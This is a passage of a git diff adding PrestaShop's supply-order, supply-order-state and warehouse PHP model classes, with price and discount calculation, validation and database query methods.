== null) + $id_lang = Context::getContext()->language->id; + + // build query + $query = new DbQuery(); + + $query->select(' + s.*, + IFNULL(CONCAT(pl.name, \' : \', GROUP_CONCAT(agl.name, \' - \', al.name SEPARATOR \', \')), pl.name) as name_displayed'); + + $query->from('supply_order_detail', 's'); + + $query->innerjoin('product_lang', 'pl', 'pl.id_product = s.id_product AND pl.id_lang = '.$id_lang); + + $query->leftjoin('product', 'p', 'p.id_product = s.id_product'); + $query->leftjoin('product_attribute_combination', 'pac', 'pac.id_product_attribute = s.id_product_attribute'); + $query->leftjoin('attribute', 'atr', 'atr.id_attribute = pac.id_attribute'); + $query->leftjoin('attribute_lang', 'al', 'al.id_attribute = atr.id_attribute AND al.id_lang = '.$id_lang); + $query->leftjoin('attribute_group_lang', 'agl', 'agl.id_attribute_group = atr.id_attribute_group AND agl.id_lang = '.$id_lang); + + $query->where('s.id_supply_order = '.(int)$this->id); + + $query->groupBy('s.id_supply_order_detail'); + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + } + + /** + * Retrieves the details entries (i.e. products) collection for the current order + * + * @return Collection of SupplyOrderDetail + */ + public function getEntriesCollection() + { + $details = new Collection('SupplyOrderDetail'); + $details->where('id_supply_order', '=', $this->id); + return $details; + } + + + /** + * Check if the order has entries + * + * @return bool Has/Has not + */ + public function hasEntries() + { + $query = new DbQuery(); + $query->select('COUNT(*)'); + $query->from('supply_order_detail', 's'); + $query->where('s.id_supply_order = '.(int)$this->id); + + return (Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query) > 0); + } + + /** + * Check if the current state allows to edit the current order + * + * @return bool + */ + public function isEditable() + { + $query = new DbQuery(); + $query->select('s.editable'); + $query->from('supply_order_state', 's'); + $query->where('s.id_supply_order_state = '.(int)$this->id_supply_order_state); + + return (Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query) == 1); + } + + /** + * Checks if the current state allows to generate a delivery note for this order + * + * @return bool + */ + public function isDeliveryNoteAvailable() + { + $query = new DbQuery(); + $query->select('s.delivery_note'); + $query->from('supply_order_state', 's'); + $query->where('s.id_supply_order_state = '.(int)$this->id_supply_order_state); + + return (Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query) == 1); + } + + /** + * Checks if the current state allows to add products in stock + * + * @return bool + */ + public function isInReceiptState() + { + $query = new DbQuery(); + $query->select('s.receipt_state'); + $query->from('supply_order_state', 's'); + $query->where('s.id_supply_order_state = '.(int)$this->id_supply_order_state); + + return (Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query) == 1); + } + + /** + * Historizes the order : its id, its state, and the employee responsible for the current action + */ + protected function addHistory() + { + $context = Context::getContext(); + $history = new SupplyOrderHistory(); + $history->id_supply_order = $this->id; + $history->id_state = $this->id_supply_order_state; + $history->id_employee = (int)$context->employee->id; + $history->employee_firstname = pSQL($context->employee->firstname); + $history->employee_lastname = pSQL($context->employee->lastname); + + $history->save(); + } + + /** + * Removes all products from the order + */ + public function resetProducts() + { + $products = $this->getEntriesCollection(); + + foreach ($products as $p) + $p->delete(); + } + + /** + * For a given $id_warehouse, tells if it has pending supply orders + * + * @param int $id_warehouse + * @return bool + */ + public static function warehouseHasPendingOrders($id_warehouse) + { + if (!$id_warehouse) + return false; + + $query = new DbQuery(); + $query->select('COUNT(so.id_supply_order) as supply_orders'); + $query->from('supply_order', 'so'); + $query->leftJoin('supply_order_state', 'sos', 'so.id_supply_order_state = sos.id_supply_order_state'); + $query->where('sos.enclosed != 1'); + $query->where('so.id_warehouse = '.(int)$id_warehouse); + + $res = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query); + return ($res > 0); + } + + /** + * For a given $id_supplier, tells if it has pending supply orders + * + * @param int $id_supplier Id Supplier + * @return bool + */ + public static function supplierHasPendingOrders($id_supplier) + { + if (!$id_supplier) + return false; + + $query = new DbQuery(); + $query->select('COUNT(so.id_supply_order) as supply_orders'); + $query->from('supply_order', 'so'); + $query->leftJoin('supply_order_state', 'sos', 'so.id_supply_order_state = sos.id_supply_order_state'); + $query->where('sos.enclosed != 1'); + $query->where('so.id_supplier = '.(int)$id_supplier); + + $res = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query); + return ($res > 0); + } + + /** + * For a given id or reference, tells if the supply order exists + * + * @param int|string $match Either the reference of the order, or the Id of the order + * @return int SupplyOrder Id + */ + public static function exists($match) + { + if (!$match) + return false; + + $query = new DbQuery(); + $query->select('id_supply_order'); + $query->from('supply_order', 'so'); + $query->where('so.id_supply_order = '.(int)$match.' OR so.reference = "'.pSQL($match).'"'); + + $res = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query); + return ((int)$res); + } + + /** + * For a given reference, returns the corresponding supply order + * + * @param string $reference Reference of the order + * @return bool|SupplyOrder + */ + public static function getSupplyOrderByReference($reference) + { + if (!$reference) + return false; + + $query = new DbQuery(); + $query->select('id_supply_order'); + $query->from('supply_order', 'so'); + $query->where('so.reference = "'.pSQL($reference).'"'); + $id = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query); + + if ($id == false) + return false; + + return (new SupplyOrder((int)$id)); + } + + /** + * @see ObjectModel::hydrate() + */ + public function hydrate(array $data, $id_lang = null) + { + $this->id_lang = $id_lang; + if (isset($data[$this->def['primary']])) + $this->id = $data[$this->def['primary']]; + foreach ($data as $key => $value) + { + if (array_key_exists($key, $this)) + { + // formats prices and floats + if ($this->def['fields'][$key]['validate'] == 'isFloat' || + $this->def['fields'][$key]['validate'] == 'isPrice') + $value = Tools::ps_round($value, 6); + $this->$key = $value; + } + } + } + + + /** + * Gets the reference of a given order + * + * @param int $id_supply_order + * @return bool|string + */ + public static function getReferenceById($id_supply_order) + { + if (!$id_supply_order) + return false; + + $query = new DbQuery(); + $query->select('so.reference'); + $query->from('supply_order', 'so'); + $query->where('so.id_supply_order = '.(int)$id_supply_order); + $ref = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query); + + return (pSQL($ref)); + } + + /*********************************\ + * + * Webservices Specific Methods + * + *********************************/ + + /** + * Webservice : gets the ids supply_order_detail associated to this order + * + * @return array + */ + public function getWsSupplyOrderDetails() + { + $query = new DbQuery(); + $query->select('sod.id_supply_order_detail as id, sod.id_product, + sod.id_product_attribute, + sod.name as product_name, supplier_reference'); + $query->from('supply_order_detail', 'sod'); + $query->where('id_supply_order = '.(int)$this->id); + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + } + +} diff --git a/classes/stock/SupplyOrderDetail.php b/classes/stock/SupplyOrderDetail.php new file mode 100755 index 0000000..37a8c85 --- /dev/null +++ b/classes/stock/SupplyOrderDetail.php @@ -0,0 +1,340 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * Represents one product ordered + * @since 1.5.0 + */ +class SupplyOrderDetailCore extends ObjectModel +{ + /** + * @var int Supply order + */ + public $id_supply_order; + + /** + * @var int Product ordered + */ + public $id_product; + + /** + * @var int Product attribute ordered + */ + public $id_product_attribute; + + /** + * @var string Product reference + */ + public $reference; + + /** + * @var string Product supplier reference + */ + public $supplier_reference; + + /** + * @var int Product name + */ + public $name; + + /** + * @var int Product EAN13 + */ + public $ean13; + + /** + * @var string UPC + */ + public $upc; + + /** + * @var int Currency used to buy this particular product + */ + public $id_currency; + + /** + * @var float Exchange rate between $id_currency and SupplyOrder::$id_ref_currency, at the time + */ + public $exchange_rate; + + /** + * @var float Unit price without discount, without tax + */ + public $unit_price_te = 0; + + /** + * @var int Quantity ordered + */ + public $quantity_expected = 0; + + /** + * @var int Quantity received + */ + public $quantity_received = 0; + + /** + * @var float This defines the price of the product, considering the number of units to buy. + * ($unit_price_te * $quantity), without discount, without tax + */ + public $price_te = 0; + + /** + * @var float Supplier discount rate for a given product + */ + public $discount_rate = 0; + + /** + * @var float Supplier discount value (($discount_rate / 100) * $price_te), without tax + */ + public $discount_value_te = 0; + + /** + * @var float ($price_te - $discount_value_te), with discount, without tax + */ + public $price_with_discount_te = 0; + + /** + * @var int Tax rate for the given product + */ + public $tax_rate = 0; + + /** + * @var float Tax value for the given product + */ + public $tax_value = 0; + + /** + * @var float ($price_with_discount_te + $tax_value) + */ + public $price_ti = 0; + + /** + * @var float Tax value of the given product after applying the global order discount (i.e. if SupplyOrder::discount_rate is set) + */ + public $tax_value_with_order_discount = 0; + + /** + * @var float This is like $price_with_discount_te, considering the global order discount. + * (i.e. if SupplyOrder::discount_rate is set) + */ + public $price_with_order_discount_te = 0; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'supply_order_detail', + 'primary' => 'id_supply_order_detail', + 'fields' => array( + 'id_supply_order' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_product' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_product_attribute' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'reference' => array('type' => self::TYPE_STRING, 'validate' => 'isReference'), + 'supplier_reference' => array('type' => self::TYPE_STRING, 'validate' => 'isReference'), + 'name' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'required' => true), + 'ean13' => array('type' => self::TYPE_STRING, 'validate' => 'isEan13'), + 'upc' => array('type' => self::TYPE_STRING, 'validate' => 'isUpc'), + 'id_currency' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'exchange_rate' => array('type' => self::TYPE_FLOAT, 'validate' => 'isFloat', 'required' => true), + 'unit_price_te' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice', 'required' => true), + 'quantity_expected' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt', 'required' => true), + 'quantity_received' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'price_te' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice', 'required' => true), + 'discount_rate' => array('type' => self::TYPE_FLOAT, 'validate' => 'isFloat', 'required' => true), + 'discount_value_te' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice', 'required' => true), + 'price_with_discount_te' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice', 'required' => true), + 'tax_rate' => array('type' => self::TYPE_FLOAT, 'validate' => 'isFloat', 'required' => true), + 'tax_value' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice', 'required' => true), + 'price_ti' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice', 'required' => true), + 'tax_value_with_order_discount' => array('type' => self::TYPE_FLOAT, 'validate' => 'isFloat', 'required' => true), + 'price_with_order_discount_te' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice', 'required' => true), + ), + ); + + /** + * @see ObjectModel::$webserviceParameters + */ + protected $webserviceParameters = array( + 'objectsNodeName' => 'supply_order_details', + 'objectNodeName' => 'supply_order_detail', + 'fields' => array( + 'id_supply_order' => array('xlink_resource' => 'supply_orders'), + 'id_product' => array('xlink_resource' => 'products'), + 'id_product_attribute' => array('xlink_resource' => 'combinations'), + ), + 'hidden_fields' => array( + 'id_currency', + ), + ); + + /** + * @see ObjectModel::update() + */ + public function update($null_values = false) + { + $this->calculatePrices(); + + parent::update($null_values); + } + + /** + * @see ObjectModel::add() + */ + public function add($autodate = true, $null_values = false) + { + $this->calculatePrices(); + + parent::add($autodate, $null_values); + } + + /** + * Calculates all prices for this product based on its quantity and unit price + * Applies discount if necessary + * Calculates tax value, function of tax rate + */ + protected function calculatePrices() + { + // calculates entry price + $this->price_te = Tools::ps_round((float)$this->unit_price_te * (int)$this->quantity_expected, 6); + + // calculates entry discount value + if ($this->discount_rate != null && (is_float($this->discount_rate) || is_numeric($this->discount_rate)) && $this->discount_rate > 0) + $this->discount_value_te = Tools::ps_round((float)$this->price_te * ($this->discount_rate / 100), 6); + + // calculates entry price with discount + $this->price_with_discount_te = Tools::ps_round($this->price_te - $this->discount_value_te, 6); + + // calculates tax value + $this->tax_value = Tools::ps_round($this->price_with_discount_te * ((float)$this->tax_rate / 100), 6); + $this->price_ti = Tools::ps_round($this->price_with_discount_te + $this->tax_value, 6); + + // defines default values for order discount fields + $this->tax_value_with_order_discount = Tools::ps_round($this->tax_value, 6); + $this->price_with_order_discount_te = Tools::ps_round($this->price_with_discount_te, 6); + } + + /** + * Applies a global order discount rate, for the current product (i.e detail) + * Calls ObjectModel::update() + * + * @param $discount_rate The discount rate in percent (Ex. 5 for 5 percents) + */ + public function applyGlobalDiscount($discount_rate) + { + if ($discount_rate != null && is_numeric($discount_rate) && (float)$discount_rate > 0) + { + // calculates new price, with global order discount, tax ecluded + $discount_value = $this->price_with_discount_te - (($this->price_with_discount_te * (float)$discount_rate) / 100); + + $this->price_with_order_discount_te = Tools::ps_round($discount_value, 6); + + // calculates new tax value, with global order discount + $this->tax_value_with_order_discount = Tools::ps_round($this->price_with_order_discount_te * ((float)$this->tax_rate / 100), 6); + + parent::update(); + } + } + + /** + * @see ObjectModel::validateController() + * + * @param $htmlentities Optional + * @return $errors If any.. + */ + public function validateController($htmlentities = true) + { + $errors = array(); + + /* required fields */ + $fields_required = $this->fieldsRequired; + + if (isset(self::$fieldsRequiredDatabase[get_class($this)])) + $fields_required = array_merge( + $this->fieldsRequired, + self::$fieldsRequiredDatabase[get_class($this)] + ); + + foreach ($fields_required as $field) + if (($value = $this->{$field}) == false && (string)$value != '0') + if (!$this->id || $field != 'passwd') + $errors[] = '<b>'.SupplyOrderDetail::displayFieldName($field, get_class($this), $htmlentities) + .'</b> '.Tools::displayError('is required.'); + + /* Checks maximum fields sizes */ + foreach ($this->fieldsSize as $field => $max_length) + if ($value = $this->{$field} && Tools::strlen($value) > $max_length) + $errors[] = sprintf( + Tools::displayError('%1$s is too long. Maximum length: %2$d'), + SupplyOrderDetail::displayFieldName($field, get_class($this), $htmlentities), + $max_length + ); + + /* Checks fields validity */ + foreach ($this->fieldsValidate as $field => $function) + if ($value = $this->{$field}) + if (!Validate::$function($value) && (!empty($value) || in_array($field, $this->fieldsRequired))) + $errors[] = '<b>'.SupplyOrderDetail::displayFieldName($field, get_class($this), $htmlentities).'</b> '.Tools::displayError('is invalid.'); + else + if ($field == 'passwd') + if ($value = Tools::getValue($field)) + $this->{$field} = Tools::encrypt($value); + else + $this->{$field} = $value; + + if ($this->quantity_expected <= 0) + $errors[] = '<b>'.SupplyOrderDetail::displayFieldName('quantity_expected', get_class($this)).'</b> '.Tools::displayError('is invalid.'); + + if ($this->tax_rate < 0 || $this->tax_rate > 100) + $errors[] = '<b>'.SupplyOrderDetail::displayFieldName('tax_rate', get_class($this)).'</b> '.Tools::displayError('is invalid.'); + + if ($this->discount_rate < 0 || $this->discount_rate > 100) + $errors[] = '<b>'.SupplyOrderDetail::displayFieldName('discount_rate', get_class($this)).'</b> '.Tools::displayError('is invalid.'); + + return $errors; + } + + /** + * @see ObjectModel::hydrate() + */ + public function hydrate(array $data, $id_lang = null) + { + $this->id_lang = $id_lang; + if (isset($data[$this->def['primary']])) + $this->id = $data[$this->def['primary']]; + foreach ($data as $key => $value) + { + if (array_key_exists($key, $this)) + { + // formats prices and floats + if ($this->def['fields'][$key]['validate'] == 'isFloat' || + $this->def['fields'][$key]['validate'] == 'isPrice') + $value = Tools::ps_round($value, 6); + $this->$key = $value; + } + } + } + +} diff --git a/classes/stock/SupplyOrderHistory.php b/classes/stock/SupplyOrderHistory.php new file mode 100755 index 0000000..8e41b64 --- /dev/null +++ b/classes/stock/SupplyOrderHistory.php @@ -0,0 +1,91 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class SupplyOrderHistoryCore extends ObjectModel +{ + /** + * @var int Supply order Id + */ + public $id_supply_order; + + /** + * @var int Employee Id + */ + public $id_employee; + + /** + * @var string The first name of the employee responsible of the movement + */ + public $employee_firstname; + + /** + * @var string The last name of the employee responsible of the movement + */ + public $employee_lastname; + + /** + * @var int State of the supply order + */ + public $id_state; + + /** + * @var string Date + */ + public $date_add; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'supply_order_history', + 'primary' => 'id_supply_order_history', + 'fields' => array( + 'id_supply_order' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_employee' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'employee_firstname' => array('type' => self::TYPE_STRING, 'validate' => 'isName'), + 'employee_lastname' => array('type' => self::TYPE_STRING, 'validate' => 'isName'), + 'id_state' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate', 'required' => true), + ), + ); + + /** + * @see ObjectModel::$webserviceParameters + */ + protected $webserviceParameters = array( + 'objectsNodeName' => 'supply_order_histories', + 'objectNodeName' => 'supply_order_history', + 'fields' => array( + 'id_supply_order' => array('xlink_resource' => 'supply_orders'), + 'id_employee' => array('xlink_resource' => 'employees'), + 'id_state' => array('xlink_resource' => 'supply_order_states'), + ), + ); + +} diff --git a/classes/stock/SupplyOrderReceiptHistory.php b/classes/stock/SupplyOrderReceiptHistory.php new file mode 100755 index 0000000..e7700bf --- /dev/null +++ b/classes/stock/SupplyOrderReceiptHistory.php @@ -0,0 +1,99 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * History of receipts + * @since 1.5.0 + */ +class SupplyOrderReceiptHistoryCore extends ObjectModel +{ + /** + * @var int Detail of the supply order (i.e. One particular product) + */ + public $id_supply_order_detail; + + /** + * @var int Employee + */ + public $id_employee; + + /** + * @var string The first name of the employee responsible of the movement + */ + public $employee_firstname; + + /** + * @var string The last name of the employee responsible of the movement + */ + public $employee_lastname; + + /** + * @var int State + */ + public $id_supply_order_state; + + /** + * @var int Quantity delivered + */ + public $quantity; + + /** + * @var string Date of delivery + */ + public $date_add; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'supply_order_receipt_history', + 'primary' => 'id_supply_order_receipt_history', + 'fields' => array( + 'id_supply_order_detail' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_supply_order_state' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_employee' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'employee_firstname' => array('type' => self::TYPE_STRING, 'validate' => 'isName'), + 'employee_lastname' => array('type' => self::TYPE_STRING, 'validate' => 'isName'), + 'quantity' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt', 'required' => true), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + ), + ); + + /** + * @see ObjectModel::$webserviceParameters + */ + protected $webserviceParameters = array( + 'objectsNodeName' => 'supply_order_receipt_histories', + 'objectNodeName' => 'supply_order_receipt_history', + 'fields' => array( + 'id_supply_order_detail' => array('xlink_resource' => 'supply_order_details'), + 'id_employee' => array('xlink_resource' => 'employees'), + 'id_supply_order_state' => array('xlink_resource' => 'supply_order_states'), + ), + ); + +} + diff --git a/classes/stock/SupplyOrderState.php b/classes/stock/SupplyOrderState.php new file mode 100755 index 0000000..01bdfde --- /dev/null +++ b/classes/stock/SupplyOrderState.php @@ -0,0 +1,172 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class SupplyOrderStateCore extends ObjectModel +{ + /** + * @var string Name of the state + */ + public $name; + + /** + * @var bool Tells if a delivery note can be issued (i.e. the order has been validated) + */ + public $delivery_note; + + /** + * @var bool Tells if the order is still editable by an employee (i.e. you can add products) + */ + public $editable; + + /** + * @var bool Tells if the the order has been delivered + */ + public $receipt_state; + + /** + * @var bool Tells if the the order is in a state corresponding to a product pending receipt + */ + public $pending_receipt; + + /** + * @var bool Tells if the the order is in an enclosed state (i.e. terminated, canceled) + */ + public $enclosed; + + /** + * @var string Color used to display the state in the specified color (Ex. #FFFF00) + */ + public $color; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'supply_order_state', + 'primary' => 'id_supply_order_state', + 'multilang' => true, + 'fields' => array( + 'delivery_note' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'editable' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'receipt_state' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'pending_receipt' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'enclosed' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'color' => array('type' => self::TYPE_STRING, 'validate' => 'isColor'), + 'name' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'required' => true, 'size' => 128), + ), + ); + + /** + * @see ObjectModel::$webserviceParameters + */ + protected $webserviceParameters = array( + 'objectsNodeName' => 'supply_order_states', + 'objectNodeName' => 'supply_order_state', + 'fields' => array( + ), + ); + + /** + * Gets the list of supply order states + * + * @param int $id_state_referrer Optional, used to know what state is available after this one + * @param int $id_lang Optional Id Language + * @return array States + */ + public static function getSupplyOrderStates($id_state_referrer = null, $id_lang = null) + { + if ($id_lang == null) + $id_lang = Context::getContext()->language->id; + + $query = new DbQuery(); + $query->select('sl.name, s.id_supply_order_state'); + $query->from('supply_order_state', 's'); + $query->leftjoin('supply_order_state_lang', 'sl', 's.id_supply_order_state = sl.id_supply_order_state AND sl.id_lang='.(int)$id_lang); + + if (!is_null($id_state_referrer)) + { + $is_receipt_state = false; + $is_editable = false; + $is_delivery_note = false; + $is_pending_receipt = false; + + //check current state to see what state is available + $state = new SupplyOrderState((int)$id_state_referrer); + if (Validate::isLoadedObject($state)) + { + $is_receipt_state = $state->receipt_state; + $is_editable = $state->editable; + $is_delivery_note = $state->delivery_note; + $is_pending_receipt = $state->pending_receipt; + } + + $query->where('s.id_supply_order_state <> '.$id_state_referrer); + + //check first if the order is editable + if ($is_editable) + $query->where('s.editable = 1 OR s.delivery_note = 1 OR s.enclosed = 1'); + //check if the delivery note is available or if the state correspond to a pending receipt state + else if ($is_delivery_note || $is_pending_receipt) + $query->where('(s.delivery_note = 0 AND s.editable = 0) OR s.enclosed = 1'); + //check if the state correspond to a receipt state + else if ($is_receipt_state) + $query->where('s.receipt_state = 1 OR s.enclosed = 1'); + } + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + } + + /** + * Gets the list of supply order states + * + * @param array $ids Optional Do not include these ids in the result + * @param int $id_lang Optional + * @return array + */ + public static function getStates($ids = null, $id_lang = null) + { + if ($id_lang == null) + $id_lang = Context::getContext()->language->id; + + if ($ids && !is_array($ids)) + $ids = array(); + + $query = new DbQuery(); + $query->select('sl.name, s.id_supply_order_state'); + $query->from('supply_order_state', 's'); + $query->leftjoin('supply_order_state_lang', 'sl', 's.id_supply_order_state = sl.id_supply_order_state AND sl.id_lang='.(int)$id_lang); + if ($ids) + $query->where('s.id_supply_order_state NOT IN('.implode(',', array_map('intval', $ids)).')'); + + $query->orderBy('sl.name ASC'); + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + } + +} diff --git a/classes/stock/Warehouse.php b/classes/stock/Warehouse.php new file mode 100755 index 0000000..4ad3d3f --- /dev/null +++ b/classes/stock/Warehouse.php @@ -0,0 +1,617 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * Holds Stock + * + * @since 1.5.0 + */ +class WarehouseCore extends ObjectModel +{ + /** @var int identifier of the warehouse */ + public $id; + + /** @var int Id of the address associated to the warehouse */ + public $id_address; + + /** @var string Reference of the warehouse */ + public $reference; + + /** @var string Name of the warehouse */ + public $name; + + /** @var int Id of the employee who manages the warehouse */ + public $id_employee; + + /** @var int Id of the valuation currency of the warehouse */ + public $id_currency; + + /** @var bool True if warehouse has been deleted (hence, no deletion in DB) */ + public $deleted = 0; + + /** + * Describes the way a Warehouse is managed + * @var enum WA|LIFO|FIFO + */ + public $management_type; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'warehouse', + 'primary' => 'id_warehouse', + 'fields' => array( + 'id_address' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'reference' => array('type' => self::TYPE_STRING, 'validate' => 'isString', 'required' => true, 'size' => 45), + 'name' => array('type' => self::TYPE_STRING, 'validate' => 'isString', 'required' => true, 'size' => 45), + 'id_employee' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'management_type' => array('type' => self::TYPE_STRING, 'validate' => 'isStockManagement', 'required' => true), + 'id_currency' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'deleted' => array('type' => self::TYPE_BOOL), + ), + ); + + /** + * @see ObjectModel::$webserviceParameters + */ + protected $webserviceParameters = array( + 'fields' => array( + 'id_address' => array('xlink_resource' => 'addresses'), + 'id_employee' => array('xlink_resource' => 'employees'), + 'id_currency' => array('xlink_resource' => 'currencies'), + 'valuation' => array('getter' => 'getWsStockValue', 'setter' => false), + 'deleted' => array(), + ), + 'associations' => array( + 'stocks' => array( + 'resource' => 'stock', + 'fields' => array( + 'id' => array(), + ), + ), + 'carriers' => array( + 'resource' => 'carrier', + 'fields' => array( + 'id' => array(), + ), + ), + 'shops' => array( + 'resource' => 'shop', + 'fields' => array( + 'id' => array(), + 'name' => array(), + ), + ), + ), + ); + + /** + * Gets the shops associated to the current warehouse + * + * @return array Shops (id, name) + */ + public function getShops() + { + $query = new DbQuery(); + $query->select('ws.id_shop, s.name'); + $query->from('warehouse_shop', 'ws'); + $query->leftJoin('shop', 's', 's.id_shop = ws.id_shop'); + $query->where($this->def['primary'].' = '.(int)$this->id); + + $res = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + return $res; + } + + /** + * Gets the carriers associated to the current warehouse + * + * @return array Ids of the associated carriers + */ + public function getCarriers($return_reference = false) + { + $ids_carrier = array(); + + $query = new DbQuery(); + if ($return_reference) + $query->select('wc.id_carrier'); + else + $query->select('c.id_carrier'); + $query->from('warehouse_carrier', 'wc'); + $query->innerJoin('carrier', 'c', 'c.id_reference = wc.id_carrier'); + $query->where($this->def['primary'].' = '.(int)$this->id); + $query->where('c.deleted = 0'); + $res = 